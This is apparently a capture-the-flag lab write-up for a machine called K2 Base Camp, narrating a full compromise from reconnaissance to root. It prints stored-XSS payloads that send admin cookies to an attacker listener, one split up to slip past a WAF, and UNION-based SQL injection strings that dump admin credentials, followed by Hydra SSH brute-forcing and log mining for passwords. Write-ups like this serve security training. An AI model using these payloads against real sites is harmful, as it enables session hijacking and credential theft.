K2 Base Camp
1. Reconnaissance
1.1 Network Scan
I started with a network scan against the target to enumerate open ports and running services. This gave me a baseline picture of the attack surface before moving into web enumeration.
1.2 Web Enumeration
I enumerated port 80 to get a feel for the web application's structure and identify what functionality was exposed.
I then checked for subdomains, which surfaced authentication portals I hadn't seen from the root domain alone; this told me there was an admin-facing interface separate from the main site.
2. Initial Access - Stored Cross-Site Scripting (XSS)
While testing the ticket submission form, I noticed a message indicating submitted tickets would be reviewed shortly. I assumed this meant an administrator would be the one reviewing them, which made the ticket form a good candidate for a stored XSS attack targeting an admin session rather than my own.
I started with a straightforward payload to test for reflected/stored execution and cookie exfiltration:
<script>fetch('http://192.168.160.5:8081/?c='+document.cookie)</script>
I submitted this in both the title and description fields. The title field showed no reaction at all, but injecting it into the description field triggered a Web Application Firewall (WAF) response. That told me the description field was likely processing my input in a way that made it exploitable, provided I could get past the filter.
I landed on the following payload as my next attempt, using an onerror event handler instead of a <script> tag and breaking up the document.cookie reference with string concatenation to try to dodge filtering:
<img src=x onerror="fetch('http://192.168.160.5:8081/?c='+window['doc'+'ument']['coo'+'kie'])">
To pin down exactly what the WAF was keying on, I tested individual strings from my payload in isolation. That process showed the literal string document.cookie was what triggered detection - so splitting it into concatenated substrings ('doc'+'ument', 'coo'+'kie') and rebuilding it at runtime via window[...] was enough to slip past the filter.
This payload worked, and I got valid session cookies back from my listener.
3. Session Hijacking (Admin Account)
I decoded the JWT from the captured session and confirmed it belonged to an administrative user - meaning my XSS payload had successfully caught an admin's active session rather than a regular user's.
With an admin cookie in hand, I wanted to actually use that session rather than just confirm it existed. I ran ffuf against admin.k2.thm to enumerate directories on the admin subdomain, since I hadn't manually browsed it yet. That turned up a /dashboard path, which I assumed was where tickets would be viewed and managed from the admin side.
I then used Burp Suite to replay the stolen session cookie against /dashboard, and it worked - I was in as the admin.
4. SQL Injection - Admin Dashboard
From inside the dashboard, I could select individual ticket tiles and search by keyword. That search functionality, combined with what I could infer about the underlying table structure (user, title, and description fields all being displayed together), pointed toward a SQL database backend - and potentially a SQL injection vulnerability in the search parameter.
I started with some basic injection tests directly in Burp.
Submitting a single quotation mark returned a 500 Internal Server Error. That's a classic sign the input was being concatenated straight into a SQL query without sanitization, which is what pushed me toward building out a UNION-based injection.
4.1 Database Fingerprinting
I began enumeration by identifying the database engine and version, since that shapes which syntax and functions I could use going forward:
title=nonexistent' UNION SELECT @@version,NULL,NULL-- -
4.2 Database and Table Enumeration
Based on the engine confirmation, I crafted the next payload to identify the active database name:
title=nonexistent' UNION SELECT database(),NULL,NULL-- -
This confirmed I was working inside the ticketsite database. I also noted that the user column was my reflection point in the response - i.e., the field position where my injected output would actually render back to me, which mattered for structuring later payloads.
I used the following to pull the table list:
title=nonexistent' UNION SELECT table_name,NULL,NULL FROM information_schema.tables WHERE table_schema=database()-- -
4.3 Extracting Admin Credentials
An admin_auth table stood out from the table list, so I checked its column structure first to know exactly what I could extract:
title=nonexistent' UNION SELECT GROUP_CONCAT(column_name),NULL,NULL FROM information_schema.columns WHERE table_name='admin_auth'-- -
My first attempt tried to pull both username and password in a single request by concatenating them together:
title=nonexistent' UNION SELECT GROUP_CONCAT(admin_username,0x3a,admin_password SEPARATOR 0x0a),NULL,NULL FROM admin_auth-- -
This got flagged by the WAF, so I had to reevaluate the payload rather than push harder on the same structure.
I simplified by pulling just the username column on its own:
title=nonexistent' UNION SELECT admin_username,NULL,NULL FROM admin_auth-- -
This got through cleanly and returned the admin usernames.
I followed the same approach for the passwords, placing them in the second output column instead of stacking everything into one field:
title=nonexistent' UNION SELECT admin_username,admin_password,NULL FROM admin_auth-- -
This returned the passwords tied to each username without tripping the WAF again.
5. Credential Access - SSH via Hydra
These credentials could only really go a couple of places, and since my earlier network scan only showed ports 80 and 22 open, SSH was the obvious next target. Rather than testing each credential pair manually, I put them into a text file and ran them against SSH in bulk with Hydra.
That turned up a working password for the user james.
6. Foothold - User Flag
Once I was in as james, I grabbed the user flag before shifting focus to privilege escalation.
7. Privilege Enumeration
I ran id to check my current user's group memberships and permissions.
I noticed membership in group 4 (adm). After a bit of research, I confirmed this group grants read access to system logs under /var/log, so I went and checked that directory out. It didn't turn up much on its own.
To make sure I wasn't missing anything, I ran linpeas in the background to automate the rest of the enumeration.
That surfaced that james owned the Flask application source code outright. Since I had full read access to the source, I checked the admin_site and ticket_site application directories for hardcoded credentials.
8. Lateral Movement - MySQL and Log Analysis
Finding hardcoded credentials in the source raised the question of password reuse. Before going further, I did a quick sanity check with sudo -l to see if those credentials granted any elevated privileges directly.
That didn't work, but it was worth ruling out. I then used the same credentials to log into the MySQL database. Checking privileges there showed I had ALL - essentially the same level of access I already had as james, just reached through a different connection path rather than a new privilege boundary.
I circled back to the read access on /var/log that came from the adm group membership. Since I'd already confirmed james couldn't reach root directly, I turned my attention to the other user I'd noticed on the box, rose. I ran a grep search across the full set of authentication logs to look for any login activity tied to that account.
That search showed the last two login attempts for rose were successful, which meant I needed to dig into those specific log entries to find a password.
The relevant log files were compressed as .gz archives, so they weren't readable as-is in my initial search.
After decompressing them and re-running my search against the decompressed content, I landed on some useful information.
That pass still didn't give me anything conclusive, so I reran a word search with grep against the wider log path to broaden my coverage.
That search finally surfaced plaintext credentials for rose.
9. Privilege Escalation - Root
With rose's credentials in hand, I was able to escalate privileges and get access to root.
From there I used find to locate the root flag and cat'd it out, wrapping up the engagement.